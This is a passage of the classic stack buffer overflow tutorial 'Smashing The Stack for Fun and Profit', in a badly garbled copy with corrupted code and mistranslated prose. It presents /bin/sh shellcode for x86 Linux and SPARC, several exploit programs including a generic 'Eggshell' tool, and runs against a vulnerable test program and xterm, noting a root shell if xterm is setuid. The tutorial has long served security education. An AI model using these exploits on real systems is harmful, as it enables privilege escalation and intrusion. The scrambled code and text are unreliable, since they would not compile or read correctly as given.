Smashing The Stack for Fun and Profit

(GDB)

.

.

.

-------------------------------------------------- ----------------------------

Testsc.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00"

"/ X00 / XB8 / X0B / X00 / X00 / X00 / X4E / X08 / X8D / X56 / X0C / XCD / X80"

"/ XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF" "/ XFF / X2F / X62 / X69 / X6E / X2F / X73 / X68 / X00 / X89 / XEC / X5D / XC3 ";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc Testsc.c

[aleph1] $ ./testsc

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

IT Works! But there is an obstacle. In Most Cases We'll Be Trying To

Overflow a character buffer. as such any null bytes in Our shellcode will be

Considered The end of the string, and the copy will be terminated. Therem

Be no null bytes in the shellcode for the expel to work. let's try

Eliminate the bytes (and at the same time make it it limited.).

Problem Instruction: Substitution with:

-------------------------------------------------- --------

MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX

Molv $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xC (% ESI)

-------------------------------------------------- --------

MOVL $ 0XB,% EAX MOVB $ 0XB,% Al

-------------------------------------------------- --------

MOVL $ 0x1,% EAX XORL% EBX,% EBX

MOVL $ 0x0,% EBX MOVL% EBX,% EAX

INC% EAX

-------------------------------------------------- --------

Our IMPROVED CODE:

Shellcodeasm2.c

-------------------------------------------------- ----------------------------

Void main () {

__ASM __ ("

JMP 0x1f # 2 bytes

POPL% ESI # 1 bytemovl% ESI, 0x8 (% esi) # 3 bytes

XORL% EAX,% EAX # 2 bytes

MOVB% EAX, 0x7 (% ESI) # 3 bytes

MOVL% EAX, 0xc (% esi) # 3 bytes

MovB $ 0XB,% Al # 2 bytes

MOVL% ESI,% EBX # 2 bytes

Leal 0x8 (% ESI),% ECX # 3 bytes

LEAL 0XC (% ESI),% EDX # 3 bytes

INT $ 0x80 # 2 bytes

XORL% EBX,% EBX # 2 Bytes

MOVL% EBX,% EAX # 2 bytes

INC% EAX # 1 bytes

INT $ 0x80 # 2 bytes

Call -0x24 # 5 bytes

.string / "/ bin / sh /" # 8 bytes

# 46 bytes Total

");

}

-------------------------------------------------- ----------------------------

And Our New Test Program:

Testsc2.c

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Void main () {

INT * RET;

RET = (int *) & ret 2;

(* RET) = (int) shellcode;

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ GCC -O Testsc2 Testsc2.c

[aleph1] $ ./testsc2

$ EXIT

[aleph1] $

-------------------------------------------------- ----------------------------

Writing an expedition

~~~~~~~~~~~~~~~~~~

(or how to mong the stack)

~~~~~~~~~~~~~~~~~~~~~~~~~~

Lets try to pull all our pieces together. We have the shellcode. We know

IT Must Be Part of The String Which We'll Use to overflow The Buffer. Weknow We Must Point The Return Address Back Into The Buffer. This Example Will

DemonStrate Thase Points:

OVERFLOW1.C

-------------------------------------------------- ----------------------------

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Char large_string [128];

Void main () {

Char buffer [96];

INT I;

Long * long_ptr = (long *) Large_String;

For (i = 0; i <32; i )

* (long_ptr i) = (int) BUFFER;

For (i = 0; i

Large_string [i] = shellcode [i];

STRCPY (Buffer, Large_String);

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[ALEPH1] $ gcc -o exploit1 exploit1.c

[aleph1] $ ./exploit1

$ EXIT

Exit

[aleph1] $

-------------------------------------------------- ----------------------------

What We Have Done Above Is Filled The Array Large_String [] with the

Address of buffer [], Which is where ou cut will be. The WE COPY OUR

Shellcode Into The Beginning Of The Large_String String. Strcpy () Will Then

Copy Large_String Onto Buffer without doing any borsnds checking, and will

Overflow the return address, Overwriting It with the address where ouout. IT WITH THE ITW

Is Now Located. Once We Reach The end of main and it tried to return it

Jumps to ou Code, And Execs a shell.

THE PROBLEM WE Are Faced WHEN Trying to overflow the buffer of another

PROGRAM ISTING TO Figure OUT AT What Address The Buffer Will Be. The answer is this for Every Program THE STACK WILL

Start at The Same Address. Most Programs Do Not Push More Than Few Hundred

OR a few thousand bytes Into The Stack at Any One Time. Therefore by knowing

WHERE THE STACK Starts We can try to guess where the buffer we are trying to

Overflow Will Be. Here Is A Little Program That Will Print ITS Stack

Pointer:

Sp.c

-------------------------------------------------- ----------------------------

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void main () {

Printf ("0x% x / n", get_sp ());

}

-------------------------------------------------- ----------------------------

-------------------------------------------------- ----------------------------

[aleph1] $ ./sp

0x8000470

[aleph1] $

-------------------------------------------------- ----------------------------

Lets Assume this Is The Program We are trying to overflow is:

Vulnerable.c

-------------------------------------------------- ----------------------------

Void Main (int Argc, char * argv []) {

Char buffer [512];

IF (Argc> 1)

STRCPY (Buffer, Argv [1]);

}

-------------------------------------------------- ----------------------------

WE CAN CREATE A Program That Takes As A Parameter A Buffer Size, And An

Offset from its Own Stack Pointer (Where We Believe The Buffer Want To

Overflow May Live). We'll Put The overflow string in an environment variable

SO it is easy to manipulate:

Exploit2.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = 4;

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Now We can try to guess what the buffer and offset shouth be:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit2 500

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

Illegal instruction

[ALEPH1] $ EXIT

[aleph1] $ ./exploit2 600 100

Using address: 0xBffffd4c

[ALEPH1] $ ./vulnerable $ EGG

Segmentation Fault

[ALEPH1] $ EXIT

[ALEPH1] $ ./exploit2 600 200

USING Address: 0xBfffffCe8

[ALEPH1] $ ./vulnerable $ Eggsegmentation Fault

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit2 600 1564

USING Address: 0xBfffff794

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

AS we can see this is not an effect process. Trying to guess

Offset Even While Knowing Where The Beginning Of The Stack Lives Is Nearly

Impossible. We would need at best a hundred Tries, And at Worst a couple

THOUSAND. THE PROBLEM IS WE NEED TO GUESS * EXACTLY * Where The Address of Our

Code Will Start. if we are off by one byte more or less we williel just get a

Segmentation Violation or a invalid instruction. One Way to Increase Our

Changes is to pad The Front of Our Overflow Buffer with NOP Instructions.

Almost All Processors Have A NOP INSTRUCTION That Performs A Null Operation.

IT is usually used to delay execution for purposes of time. We will take

Advantage of It and Fill Half of Our Overflow Buffer with Them. We Will Place

Our shellcode at the center, and then follow it with the return addresses. if

We are lucky and the return address points anywhere in The String of Nops,

THEY WILL JUST GET EXECUTED Until The Reach Our Code. in The Intel

Architecture the NOP instruction is one byte long and it translates to 0x90

In Machine Code. Assuming The Stack Starts At Address 0xFF, That S Stands for

Shell Code, And Thatn N Stands for a NOP Instruction The New Stack Would Look

LIKE THIS:

Bottom of DDDDDDDEEEEEEEEEEEEEE EEEE FFFFFFFFFFFFF TOP OF

Memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF MEMORY

Buffer SFP RET A B C

<------ [nnnnnnnnnnssssssssssss] [0xde] [0xde] [0xde] [0xDe] [0xDE]

^ || _____________________ |

Top of bottom of

Stack Stack

The New Exploits Is Then:

Exploit3.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * PTR;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

For (i = 0; i

BUFF [I] = NOP;

PTR = BUFF ((BSIZE / 2) - (Strlen (shellcode) / 2);

For (i = 0; i

* (PTR ) = shellcode [i];

BUF [BSIZE - 1] = '/ 0';

Memcpy (buff, "egg =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

A good selection for out 100 bytes more Than The sizeof the buffer we are trying to overflow. This will place ur code at the end

Of the buffer we are trying to overflow, giving a lot of space for the nops,

But Still Overwriting The Return Address with The Address We guest. The

Buffer we are trying to overflow is 512 bytes long, so we'll use 612. let's

Try to overflow Our test program with our new expedition:

-------------------------------------------------- ----------------------------

[aleph1] $ ./exploit3 612

Using address: 0xBffffdb4

[ALEPH1] $ ./vulnerable $ EGG

$

-------------------------------------------------- ----------------------------

WHOA! First Try! This change has improwd.

Let's try it now on a real case of a bufferflow. We'll Use for Our

Demonstration The Buffer Overflow on The Xt Library. for Our EXAMPLE, WE'LL

Use xterm (all programs linked with the xt library is vulnerable). You must

Be Running An X Server and Allow Connections to It from The LocalHost. Set

Your Display Variable Accordingly.

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit3 1124

Using address: 0xBffffdb4

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "랱? FF

? 1? ؀? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????

??????????????????????????????????????????? ????? c

[ALEPH1] $ EXIT

[aleph1] $ ./exploit3 2148 100

Using address: 0xBffffd48

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "랱? FF

? 1? ؀? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????

??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lostillegal Instruction

[ALEPH1] $ EXIT

.

.

.

[ALEPH1] $ ./exploit4 2148 600

Using address: 0xBffffb54

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ EGG

Warning: color name "랱? FF

? 1? ؀? 迿? IN / sh ????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ??????????????????????????

??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lost

Bash $

-------------------------------------------------- ----------------------------

Eureka! Less Than A Dozen Tries and We Found the Magic NumBers. If xterm

WHERE Installed Suid Root This Would Now Be a root shell.

Small bufferflows

~~~~~~~~~~~~~~~~~~~~~~

There Will Be Times When the Buffer you are trying to overflow is so

Small That Either The shellcode Wont Fit Into It, And It Will Overwrite The

Return Address with instructions instead of the address of out, or the

Number of nops you can pad the front of the string with is so small what

Chances of guessing their address is minuscule. To Obtain a shell from these

Programs we will have to Go About it Another Way. This Particular Approach

Only Works WHEN You Have Access To The Program's Environment Variables.

What We Will Do Is Place Our Shellcode in An Environment Variable, And

Then overflow the buffer with the address of this variable in membory. this

Method Also Increases Your Changes of The Exploit Working As You Can Make

The Environment Variable Holding The Shell Code as large as you.

The Environment Variables Are Stored in The Top of the Stack WHEN THE

Program is started, any model by setnv () area allocate

Elsewhere. The Stack at The Beginning Then Looks Like this: Null NULL

Our New Program Will Take An Extra Variable, The Size of The Variable

Containing the shellcode and nops. Our New Exploit Now Looks Like this:

Exploit4.c

-------------------------------------------------- ----------------------------

#include

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

#define nop 0x90

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_esp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

Void Main (int Argc, char * argv []) {

Char * buff, * ptr, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, Eggsize = Default_EGG_SIZE;

IF (Argc> 1) BSIZE = ATOI (Argv [1]);

IF (Argc> 2) OFFSET = ATOI (Argv [2]);

IF (Argc> 3) Eggsize = ATOI (Argv [3]);

IF (! (buff = malloc (bsize))))

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = Get_ESP () - offset;

Printf ("Using Address: 0x% X / N", ADDR);

PTR = BUFF;

Addr_ptr = (long *) PTR;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; I

* (PTR ) = NOP;

For (i = 0; i

BUF [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BUFF, "RET =", 4);

Putenv (BUFF);

SYSTEM ("/ bin / bash");

}

-------------------------------------------------- ----------------------------

Lets Try Our New Exploit with Our Vulnerable Test Program:

-------------------------------------------------- ----------------------------

[ALEPH1] $ ./exploit4 768

USING Address: 0xBfffFDB0

[ALEPH1] $ ./vulnerable $ RET

$

-------------------------------------------------- ----------------------------

Works like a charm. Now Lets Try IT on xterm:

-------------------------------------------------- ----------------------------

[ALEPH1] $ export display =: 0.0

[ALEPH1] $ ./exploit4 2148

USING Address: 0xBfffFDB0

[aleph1] $ / usr / x11r6 / bin / xterm -fg $ retent

Warning: Color Name

??????????????????????????????????????????? ????

??????????????????????????????????????????? ????? Arning: Some Arguments in Previous Message Were Lost

$

-------------------------------------------------- ----------------------------

On The First Try! It has certinly increased outds. Depending how

Much Environment Data The Exploit Program Has Compared with the program

You are trying to expedition the guessed address may be to low ore.

Experiment Both with Positive and NEGATIVE OFFSETS.

Finding bufferflows

~~~~~~~~~~~~~~~~~~~~

AS Stated Earlier, Buffer overflows Are The Result of Stuffing More

Information Into A Buffer Than IT IS Meant To Hold. Since C Does Not Have Any

Built-in Bounds CHECKING, OVERFLOWTEN MANIFEST THEMSELVES AS WRITING PASTTHE END OF A Character Array. The Standard C Library Provides a Number of

Functions for Copying OR Appending Strings, That Perform No Boundary Checking.

Include: strcat (), strcpy (), sprintf (), and vSprintf (). Thase functions

Operate on null-terminated strings, and do not check for overflow of the

Receiving string. gets () is a function tria reads a line from stdin int

A Buffer Until Either a Terminating Newline or EOF. IT Performs No Checks for

Buffer overflows. The scanf () Family of Functions Can Also Be a Problem IF

You area matching a sequence of non-white-space character characters (% s), or matching a

Non-Empty Sequence of Characters from a specified set (% []), and the array

Pointed to by the char Pointer, is not large enough to accept the whole

Sequence of Characters, and you have not defined The Optional Maximum Field

Width. if The target of any of these functions is a buffer of static size,

AND ITHER ARGUMENT WAS SOMEHOW DERIVED from User Input There is a good

POSILITY THAT You Might Be Able To Exploit a Buffer Overflow.

Another Usual Programming Construct We Find Is The Use of A While Loop To

READ One Character At a Time Into A Buffer from Stdin or Some File Until The

End of line, End of file, or some other delimiter is reached. this type of

Construct Usally Uses One of these Functions: Getc (), Fgetc (), or getchar ().

If there is no expedit checks for overflows in the while loop, Such Programs

Are Easily ExploITED.

To conclude, grep (1) is your friend. The Sources for Free Operating

Systems and their utilities is ready available. this Fact Becomes Quite

..

Appendix A - Shellcode for Different Operating Systems / Architectures

~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~

i386 / linux

-------------------------------------------------- ----------------------------

JMP 0x1f

POPL% ESI

MOVL% ESI, 0x8 (% ESI)

XORL% EAX,% EAX

MOVB% EAX, 0x7 (% ESI)

MOVL% EAX, 0xC (% ESI)

MOVB $ 0XB,% Al

MOVL% ESI,% EBX

LEAL 0x8 (% ESI),% ECX

LEAL 0xC (% ESI),% EDX

INT $ 0x80

XORL% EBX,% EBX

MOVL% EBX,% EAX

INC% EAX

INT $ 0x80

Call -0x24

.String / "/ bin / sh /"

-------------------------------------------------- ----------------------------

Sparc / Solaris

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

TA 8

XOR% O7,% O7,% O0

MOV 1,% G1

TA 8

-------------------------------------------------- ----------------------------

SPARC / SunOS

-------------------------------------------------- ----------------------------

SETHI 0XBD89A,% L6

OR% L6, 0x16E,% L6

SETHI 0XBDCDA,% L7

And% SP,% SP,% O0

Add% SP, 8,% O1

XOR% O2,% O2,% O2

Add% SP, 16,% SP

STD% L6, [% sp - 16]

ST% SP, [% sp - 8]

ST% G0, [% sp - 4]

MOV 0x3b,% G1

MOV -0x1,% L5

TA% L5 1

XOR% O7,% O7,% O0

MOV 1,% G1

TA% L5 1

-------------------------------------------------- ---------------------------- Appendix B - Generic BuffRAM

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h

-------------------------------------------------- ----------------------------

#if Defined (__ i386__) && defined (__ linux__)

#define NOP_SIZE 1

Char NOP [] = "/ x90";

Char shellcode [] =

"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"

"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd"

"/ x80 / ​​xe8 / xdc / xff / xff / xff / bin / sh";

Unsigned long get_sp (void) {

__ASM __ ("MOVL% ESP,% EAX");

}

#ELIF Defined (__ sparc__) && defined (__ sun__) && defined (__ SVR4__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ XDC / X23 / XBF / XF8 / XC0 / X23 / XBF / XFC / X82 / X10 / X20 / X3B / X91 / XD0 / X20 / X08"

"/ x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd0 / x20 / x08";

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ELIF Defined (__ sparc__) && defined (__ sun__)

#define NOP_SIZE 4

CHAR NOP [] = "/ xac / x15 / xa1 / x6e";

Char shellcode [] =

"/ X2D / X0B / XD8 / X9A / XAC / X15 / XA1 / X6E / X2F / X0B / XDC / XDA / X90 / X0B / X80 / X0E"

"/ x92 / x03 / xa0 / x08 / x94 / x1a / x80 / ​​x0a / x9c / x03 / xa0 / x10 / xec / x3b / xbf / xf0"

"/ xdc / x23 / xbf / xf8 / xc0 / x23 / xbf / xfc / x82 / x10 / x20 / x3b / xaa / x10 / x3f / XFF"

"/ x91 / xd5 / x60 / x01 / x90 / x1b / xc0 / x0f / x82 / x10 / x20 / x01 / x91 / xd5 / x60 / x01"

Unsigned long get_sp (void) {

__ASM __ ("OR% SP,% SP,% I0");

}

#ENDIF

-------------------------------------------------- ---------------------------- Eggshell.c

-------------------------------------------------- ----------------------------

/ *

* Eggshell v1.0

*

* Aleph one / aleph1@underround.org

* /

#include

#include

#include "shellcode.h"

#define default_offset 0

#define default_buffer_size 512

#define default_egg_size 2048

Void Usage (Void);

Void Main (int Argc, char * argv []) {

Char * PTR, * BOF, * EGG;

Long * addr_ptr, addr;

INT offset = default_offset, bsize = default_buffer_size;

INT I, N, M, C, Align = 0, Eggsize = Default_EGG_SIZE DEFT_EGG_SIZE

While (C = Getopt (Argc, Argv, "A: B: E: o:"))! = EOF

Switch (c) {

Case 'a':

Align = ATOI (OPTARG);

Break;

Case 'b':

Bsize = atoi (OPTARG);

Break;

Case 'E':

Eggsize = atoi (OPTARG);

Break;

Case 'o':

OFFSET = ATOI (OPTARG);

Break;

Case '?':

USAGE ();

exit (0);

}

IF (Strlen (shellcode> eggsize) {

Printf ("shellcode is larger the the egg./N");

exit (0);

}

IF (! (bof = malloc (bsize)))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

IF (! (egg = malloc (eggsize))) {

Printf ("Can't Allocate Memory./N);

exit (0);

}

AddR = get_sp () - offset;

Printf ("[buffer size: / t% d / t / tegg size: / t% d / Taligment: / T% D / T] / N",

Bsize, Eggsize, Align;

Printf ("[Address: / T0x% X / Toffset: / T / T% D / T / T / T / T / T%);

Addr_ptr = (long *) BOF;

For (i = 0; i

* (addr_ptr ) = addr;

PTR = EGG;

For (i = 0; i <= eggsize - strlen (shellcode) - NOP_SIZE; i = NOP_SIZE) FOR (n = 0; n

M = (N align)% NOP_SIZE;

* (PTR ) = NOP [M];

}

For (i = 0; i

* (PTR ) = shellcode [i];

Bof [BSIZE - 1] = '/ 0';

Egg [Eggsize - 1] = '/ 0';

Memcpy (EGG, "EGG =", 4);

Putenv (EGG);

Memcpy (BOF, "BOF =", 4);

Putenv (BOF);

SYSTEM ("/ bin / sh");

}

Void usage (void) {

(void) FPRINTF (stderr,

"USAGE: Eggshell [-A ] [-E ] [-o ] / N");

}

-------------------------------------------------- ----------------------------